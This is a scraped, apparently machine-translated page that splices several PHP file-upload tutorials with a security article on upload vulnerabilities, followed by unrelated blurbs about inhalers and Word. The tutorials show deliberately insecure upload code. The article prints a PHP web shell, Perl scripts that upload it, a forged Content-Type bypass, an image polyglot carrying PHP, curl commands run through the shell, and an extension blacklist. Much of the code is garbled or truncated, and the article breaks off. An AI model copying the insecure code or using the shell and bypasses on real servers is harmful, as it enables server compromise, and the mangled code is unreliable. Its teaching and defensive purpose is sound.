Uploading files using PHP to the server. An example of uploading files to the server (upload) in the php language Writing a script for the upload process

But in the beginning, I would like to say a few words about how files are loaded.

To do this, we need an html form with an input field like . In addition, to transfer files to the server, you need to set the form type multipart. For this, as a parameter enctype value is indicated multipart/form-data.

After we place a form with a field on the html page a browser window will display a field with the ability to select a file on the local computer.

After the user selects the desired file and clicks the "Upload" button, the form will transfer the data to the php script on the server specified in action forms. If the form action is empty, then the data will be transferred to the same file on which the form is located. All information about the uploaded file is placed in an array $_FILES. We just need to extract this information and move the file to the location we need.

Before you start writing the processing script multipart forms, you need to edit the configuration file php.ini to allow uploading files to the server.

PHP configuration file php.ini has three options related to uploading files to the server:

  • file_uploads = On - allows uploading files to the server via HTTP protocol;
  • upoad_tmp_dir = /tmp - sets the directory for temporary storage of uploaded files;
  • upload_max_filesize = 2M - sets the maximum size of uploaded files.

So, create a new file named upload.php and copy the following code into it.

If you look closely at the form, you will see a hidden field

It indicates the maximum size of the received file in bytes. But this value should not be trusted, as it is only a notification and can be easily bypassed! So keep that in mind!

After the user has selected a file and clicked on the "Upload" button, all information about the file, as mentioned earlier, is placed in the $ _FILES array, and the file itself is placed in the temporary directory on the server, which is specified in php.ini.

Since the file field was called name="uploadFile", then the $_FILES array will contain an associative array with the key "uploadFile" .

  • $_FILES[" uploadFile "]["name"] - file name before it is sent to the server, for example, pict.gif;
  • $_FILES[" uploadFile "]["size"] - size of the received file in bytes;
  • $_FILES[" uploadFile "]["type"] - MIME type of the received file (if the browser could determine it), for example: image/gif, image/png, image/jpeg, text/html;
  • $_FILES[" uploadFile "]["tmp_name"] - contains the file name in the temporary directory, for example: /tmp/phpV3b3qY;
  • $_FILES[" uploadFile "]["error"] - An error code that may occur when uploading a file.

After the script ends, the temporary file will be deleted. This means that we must copy it to another location before the script completes.

So, we figured out the algorithm! Now let's take a look at the code.

First of all, we check if the submit button has been clicked.

If(isset($_POST["upload"])) ( )

If(is_uploaded_file($_FILES["uploadFile"]["tmp_name"])) ( Perform action on file ) else ( echo "File not uploaded"; )

If the file was uploaded via HTTP POST, then we move it from the temporary directory to the directory we need. This is done using the move_uploaded_file function, which takes two parameters: the name of the file to upload and the path where the file will be moved. In case of successful file transfer, this function will return true, otherwise -false.

If(move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $uploadedFile)) ( echo File uploaded; ) else ( echo An error occurred while uploading file; )

In our case, the file name is the name of the temporary file on the server - $_FILES["uploadFile"]["tmp_name"], and the directory where the file will be moved is the $uploadedFile variable, which was declared above in the script and contains the new file storage location.

$folder = "path/to/folder/"; $uploadedFile = $folder. basename($_FILES["uploadFile"]["name"]);

From my own experience, I can say that it is not worth storing the original file name on the server, so it can be renamed. To do this, we will generate a random name for our file and the move_uploaded_file() function will move and rename our file:

// Get file extension $file_ext = strtolower(strrchr($_FILES["uploadFile"]["name"],".")); // Generate a random number $file_name = uniqid(rand(10000,99999)); // Form the path on the server $uploadedFile = $folder.$file_name.$file_ext;

And finally, I will give a list possible errors that occur while uploading files to the server. As a reminder, the error code is stored in the $_FILES[" uploadFile "]["error"] variable:

  • 0 - No errors occurred, the file was successfully uploaded to the server.
  • 1- The size of the received file has exceeded the maximum allowed size, which is set by the upload_max_filesize directive of the php.ini configuration file..
  • 2- The size of the uploaded file has exceeded the value MAX_FILE_SIZE The specified in the HTML form.
  • 3- The download file was only partially received.
  • 4- The file was not loaded.
  • 6- No temporary folder.
  • 7- Failed to write files to disk.

As you can see, organizing the upload of files to the server is not so difficult. Harder to provide required level security, since uploading files to the server can be used by attackers to attack the server.

Using our script, an attacker will be able to upload arbitrary files to the server, for example, he will be able to upload a php script to the server that can recursively delete all your files on the server or PHP shell, so if you write your own file uploader, then this the matter must be taken seriously, without missing anything.

In our example, I did not set myself such a task, but only showed you the whole mechanism for uploading files to the server, but in the next article, I will show you how to ensure the necessary level of security!

Probably many have come across the question "How to upload a file to the server using JS and JQuery?".
And probably not everyone managed to do it. In fact, everything is not as difficult as it seems.
In this lesson, I will describe the process of uploading a file to a server (hosting).
Ajax technology is used to exchange data between the browser and the web server.
Version of jQuery used in the recipe: 2.2.2.

We create primitive markup from html, head and body tags.
In the head tag, you need to write the path to the jquery library.
In the example I am using jquery from google server.

In the body tag, we create a form that consists of an input tag and a button.
Input type="file" selects a file to upload.
The button tag is required to run the js code to transfer the file.

Set the form name="uploader", enctype="multipart/form-data", method="POST".
Form name: name="uploader"
How to encode form data: enctype="multipart/form-data"
Data transfer method: method="POST"

Submit this file:

All html and js markup code:

Submit this file:

Let's move on to the java script code.
To submit a file, you must submit the entire form:
$("form").submit(function(e) (

We read the form data into a variable:
var formData = new FormData($(this));

Next, we use the ajax technology to transfer data to the web server.
If the file transfer was successful, a message will be displayed in a pop-up window.
If an error occurs or the file is missing, a message will be displayed with the text of the problem.
$.ajax(( url: "file.php", type: "POST", data: formData, async: false, success: function (msg) ( alert(msg); ), error: function(msg) ( alert( "Error!"); ), cache: false, contentType: false, processData: false ));

All java script code using jquery:

Now there is a code on the server side for receiving data from the form using the POST request method.

We get the root directory of the site and assign a folder for uploading files:
$uploaddir = $_SERVER["DOCUMENT_ROOT"].DIRECTORY_SEPARATOR."uploads".DIRECTORY_SEPARATOR;

Reading the uploaded file:
$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);

Check if the file is loaded.
In accordance with the incoming data, we assign an accompanying message.
If the file is not uploaded, upload to the directory specified in $uploadfile:
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) ( $out = "File is valid and uploaded successfully.\n"; ) else ( $out = "Possible file upload attack !\n"; )

When the specified actions are performed, a response is returned.

All code in php:

Whole html code including js:

Submit this file:

Download file with source code:

Multipart forms

  • Web interfaces of mail services that allow you to add an attachment (attach) to the letter, and for this you must first upload the file to the server, and only after that it can be added to the letter;
  • Interactive photo galleries and photo albums that cannot exist without a mechanism for uploading files to the server;
  • Free software portals that are used to share files between various programs, etc.

A file is uploaded to the server using a multipart form that has a file upload field. The enctype parameter is set to multipart/form-data :



This is how the above multipart form will look like (you can try using it to see the result of multipart forms by uploading some small file to the server):

Multipart forms typically use the POST submission method. As you can see from the previous example, this form has two fields:

  • File selection field for uploading ;
  • The field for specifying the name of the file that it will have to have on the server .

Handling multipart forms

Before you start writing a multipart form processing script, you need to edit the configuration file php.ini to allow uploading files to the server.

The PHP php.ini configuration file has three options related to uploading files to the server:

  • file_uploads=On - allows uploading files to the server via HTTP protocol;
  • upload_tmp_dir=/tmp - sets the directory for temporary storage of uploaded files;
  • upload_max_filesize=2M - sets the maximum size of uploaded files.

If your web server is running operating system Linux, you need to restart the service:

service httpd restart

How does PHP handle multipart forms? After receiving the file, it saves it in the upload_tmp_dir temporary directory, the file name is chosen randomly. It then creates four variables in the $_FILES superglobal array. This array contains information about the uploaded file.

The variables defined for uploaded files depend on the PHP version and current configuration. The $_FILES superglobal array has been available since PHP 4.1.0. If the configuration directive register_globals is set to on, variables with corresponding names will be declared additionally. Since version 4.2.0 the default value for the register_globals option is off.

The contents of the $_FILES array for our example are shown below. Note that the name uploadfile is assumed here for the file selection field, as per the above multipart form. Of course, the field name can be anything.

  • $_FILES["uploadfile"]["name"] - file name before it is sent to the server, for example, pict.gif;
  • $_FILES["uploadfile"]["size"] - size of the received file in bytes;
  • $_FILES["uploadfile"]["type"] - MIME type of the received file (if the browser could determine it), for example: image/gif, image/png, image/jpeg, text/html;
  • (so we called the file upload field) - contains the file name in the temporary directory, for example: /tmp/phpV3b3qY;
  • $_FILES["uploadfile"]["error"] - An error code that may occur when uploading a file. Key ["error"] was added in PHP 4.2.0. You can find the corresponding error codes

After the script ends, the temporary file will be deleted. This means that we must copy it to another location before the script completes. That is, the algorithm of the script for uploading a file to the server is as follows:

If the "Submit" button is pressed, then the file will already be uploaded to the server and its name will be in the $_FILES["uploadfile"]["name"] variable. In this case, the script should immediately copy the file named $_FILES["uploadfile"]["tmp_name"] to some directory (requires write permissions to this directory).

The file is copied by the function copy() :

Only use the copy() function, not move, because:

  • The temporary file will be deleted automatically;
  • If the temporary directory is located on other media, an error message will be displayed.

Let's say we want to upload a file to the uploads directory, which is located in the root directory of the web server (in the DocumentRoot directory).

// Create a directory just in case. If it's already created,
// we won't see an error message because we use the @ operator:

@mkdir("uploads", 0777);

// Copy file from /tmp to uploads
// The file name will be the same as it was before it was sent to the server:

Copy($_FILES["uploadfile"]["tmp_name"],"uploads/".basename($_FILES["uploadfile"]["name"]));

On Linux, things are much more complicated - we need to take into account the permissions on the uploads directory. Most likely in this case, the function mkdir() won't work because we don't have write access to the DocumentRoot directory (usually /var/www/html or /home/httpd/html). Log in to the system as root , create an uploads directory and change its owner and permissions as follows:

// Create the uploads directory

// Set the owner name of apache and its group - also apache:

Chown apache:apache uploads

// Allowing everyone to write (777) + setting the sticky bit (1):

Chmod 1777 uploads

The file size can be limited, if desired, you can edit the .htaccess file and restrict access to the uploads directory - specify either specific users who can access the directory or IP addresses.

Now you can upload files to the server.

Writing a PHP script to upload files to the server


// Directory where we will receive the file:
$ uploaddir = "./files/" ;
$uploadfile = $uploaddir. basename($_FILES["uploadfile"]["name"]);

// Copy the file from the directory for temporary storage of files:
if (copy($_FILES["uploadfile"]["tmp_name"], $uploadfile))
{
echo "

The file was successfully uploaded to the server

" ;
}
else (echo "

Error! Failed to upload file to server!

"
; exit; )

// Display information about the uploaded file:
echo "

Information about the file uploaded to the server:

"
;
echo "

Original name of the uploaded file: ".$ _FILES [ "uploadfile" ][ "name" ]. "

" ;
echo "

Mime type of uploaded file: ".$_FILES [ "uploadfile" ][ "type" ]. "

" ;
echo "

Downloaded file size in bytes: ".$_FILES [ "uploadfile" ][ "size" ]. "

" ;
echo "

Temporary filename: ".$_FILES [ "uploadfile" ][ "tmp_name" ]. "

" ;

?>

Uploading multiple files can be implemented using, for example, different name values ​​for the input tag.

It also provides the ability to automatically obtain information organized into an array of information about several simultaneously downloaded files. To implement this feature, use the same syntax for submitting an array from an HTML form as for multiple select and checkbox fields:


Send these files:






In case such a form was submitted, the arrays $_FILES["userfile"] , $_FILES["userfile"]["name"] , and $_FILES["userfile"]["size"] will be initialized (in the same way , as well as $HTTP_POST_FILES for PHP 4.1.0 and earlier). If the register_globals configuration directive is set to on , the accompanying global variables will also be initialized. Each of these variables will be a numerically indexed array of the corresponding values ​​for the received files.

Let's assume that the files /home/test/some.html and /home/test/file.bin have been loaded. In this case, the variable $_FILES["userfile"]["name"] will have the value some.html , and the variable $_FILES["userfile"]["name"] will have the value file.bin . Similarly, $_FILES["userfile"]["size"] will contain the size of the some.html file, and so on.

Variables $_FILES["userfile"]["name"] , $_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["size"] and $_FILES["userfile"]["type"] will also be initialized.

Conclusion:

As you can see, organizing the upload of files to the server is not so difficult. It is more difficult to provide the necessary level of security, since uploading files to the server can be used by attackers to attack the server. For information on how to ensure the necessary level of security when working with Uploads, see.



<<< Назад Content Forward >>>
If you have more questions or something is not clear - welcome to our

Surely you often uploaded various files to websites. For example, uploaded avatars on the forum, photos on social networks, various videos on video hosting, just files on file hosting. And in this article you will learn how to upload files to server in php. It is through PHP in most cases this is implemented.

The first thing to be learned is that HTML form, into which the file is substituted, should not be quite ordinary, here is an example HTML code this form:





The key point here is the attribute " enctype"with meaning" multipart/form-data". Nothing will work without it.

", in which we will not upload the file yet, but will go through a few important points that must be taken into account, otherwise security may suffer:

print_r($_FILES);
?>

As a result, you will see the content global two-dimensional array $_FILES:

  • name- the name of the uploaded file.
  • type - MIME-type downloaded file. This is perhaps the most important security setting. And always when receiving files, you need to check MIME-type otherwise you won't get any problems. In the next article, we will talk about this in more detail.
  • tmp_name- physical path to the temporary file. It is in this place that the file is placed, and only then we transfer it to another location. In fact, the file has already been uploaded, and we just need to move it to the right folder on the server.
  • error- error code. If a 0 , then there are no errors.
  • size- the size of the uploaded file. This is also a frequently used option, and it also needs to be checked in order to limit the size of uploaded files. Of course, this size is limited by the server itself, however, for any pictures, this size is clearly too high (as a rule, it 10 MB).

And all of these options are present for each uploaded file (each of which is an array in a two-dimensional array $_FILES).

Now let's finish with uploading files to the server in PHP, and for this we write the following code (""):

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

That is, first we set the path to the downloaded file on the server. Here we want to put the file in the directory " images" with the same name as the file before. And the function move_uploaded_file() we move the file to a directory of our choice from its temporary storage.

However, please note that this is very important! In no case should you use the code in this way, otherwise your site will will be in grave danger! In fact, at the moment, absolutely anything can be loaded: any executable files, scripts, HTML pages and other very dangerous things. Therefore, it is imperative to check the uploaded files to the server very carefully. And that's what we're going to do in the next article. Since the topic is very important, I advise you to subscribe to updates so as not to miss this article.

This article demonstrates the main vulnerabilities in web applications for uploading files to the server and how to avoid them. The article contains the very basics, in vryat-whether it will be of interest to professionals. But nonetheless, every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload "avatars". Photo galleries allow you to upload photos. Social networks provide options for uploading images, videos, etc. Blogs allow you to upload again avatars and / or images.

Often, uploading files without adequate security controls results in vulnerabilities that have proven to be a real problem in PHP web applications.

The ongoing tests have shown that many web applications have many security problems. These "holes" provide attackers with extensive opportunities to perform unauthorized actions, from viewing any file on the server and downloading it by executing arbitrary code. This article talks about the main security holes and how to avoid them.

The code for the examples provided in this article can be downloaded at:
www.scanit.be/uploads/php-file-upload-examples.zip .

If you wish to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities that could be dangerous if executed on an externally accessible server.

Regular file upload

Uploading files usually consists of two independent functions - accepting files from the user and showing files to the user. Both parts can be a source of vulnerabilities. Let's look at the following code (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Typically, users will upload files using a form like this:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter .

An attacker will not use this form. He can write a small Perl script (possibly in any language - translator's note), which will emulate the user's actions to upload files in order to change the data sent to your liking.

In this case, the upload contains a big security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can upload a PHP file that allows arbitrary shell commands to be executed on the server with the privilege of the web server process. Such a script is called PHP-Shell. Here is the simplest example of such a script:

system($_GET["command"]);
?>

If this script is on the server, then you can execute any command through the request:
server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found online. They can upload arbitrary files, execute SQL queries, and so on.

The Perl source shown below uploads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "form data" ,
content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter .

This script uses libwwwperl, which is a handy Perl library that emulates an HTTP client.

And this is what happens when this script is executed:

Request:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we have downloaded the shell script, we can safely run the command:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is an HTTP command-line client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Content-Type check

The above example is rarely the case. In most cases, programmers use simple checks to ensure that users upload files of a specific type. For example, using the Content-Type header:

Example 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

In this case, if the attacker only tries to download shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 41
Connection: close
Content-Type: text/html
So far so good. Unfortunately, there is a way to bypass this protection, because the MIME type being checked comes along with the request. In the request above it is set to "text/plain" (it is installed by the browser - translator's note). There is nothing to prevent an attacker from setting it to "image/gif", because by using client emulation, he has complete control over the request he sends (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "form data" ,
content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

And here's what happens.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 59
Connection: close
Content-Type: text/html

As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the content of an image file

Instead of trusting the Content-Type header, a PHP developer could check the actual content of the uploaded file to make sure it's actually an image. The PHP getimagesize() function is often used for this. It takes a filename as an argument and returns an array of image sizes and type. Consider the upload3.php example below.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

Now, if an attacker tries to upload shell.php, even if he sets the Content-Type header to "image/gif", upload3.php will still throw an error.

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be loaded. Unfortunately, it is not. The file can be really in GIF or JPEG format, and at the same time a PHP script. Most image formats allow text metadata to be added to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will interpret it as a valid GIF or JPEG. When the PHP translator looks at the file, it sees the executable PHP code in some binary "garbage" that will be ignored. A sample file named crocus.gif is included in the example (see the beginning of the article). Such an image can be created in any graphics editor.

So let's create a perl script to load our image:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "form data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

This code takes a crocus.gif file and loads it with the name crocus.php. Execution will result in the following:

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
content length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now an attacker can execute uploads/crocus.php and get the following:

As you can see, the PHP translator ignores the binary data at the beginning of the image and executes the sequence "" in the GIF comment.

Checking the extension of the uploaded file

The reader of this article might wonder why we don't just check the extension of the uploaded file? If we don't allow *.php files to be loaded, then the server will never be able to execute that file as a script. Let's take a look at this approach as well.

We can blacklist file extensions and check the name of the uploaded file, ignoring the upload of a file with executable extensions (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) (
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter .

The expression preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) matches the filename specified by the user in the blacklist array. The "i" modifier says that our expression is case insensitive. If the file extension matches one of the blacklisted items, the file will not be uploaded.

If we try to upload a .php file, it will result in an error:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
content length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 36
Connection: close
Content-Type: text/html
If we upload a file with a .gif extension, then it will be uploaded:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
content length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now, if we request an uploaded file, it will not be executed by the server:
 
Articles on topic:
Description and technical characteristics of the nebulizer Omron C24 Compressor inhaler omron nebulizer
Some children during the period of immunity development too often suffer from various colds and infectious diseases, as a result of which complications may develop. Parents of a frequently ill child may benefit from the Japanese Omron inhaler, instructions for use.
Omron inhalers (nebulizers) Omron steam inhaler
Modern parents have many opportunities for quick and effective treatment of children. For example, with a disease of the respiratory tract, larynx, oropharynx and trachea, an excellent way to prevent is to use specially
AED inhaler: models, instructions and reviews
Updated: 09/23/2018 17:35:12 Expert: Boris Kaganovich *Overview of the best according to the editors of the site. About selection criteria. This material is subjective, is not an advertisement and does not serve as a guide to the purchase. Consultation required prior to purchase
How to make a paragraph indent in Word?
Good day, friends! To date, the text editor Microsoft Word is the most popular in the world. A huge toolkit allows you to process texts, insert illustrations, format and much more. Millions of users daily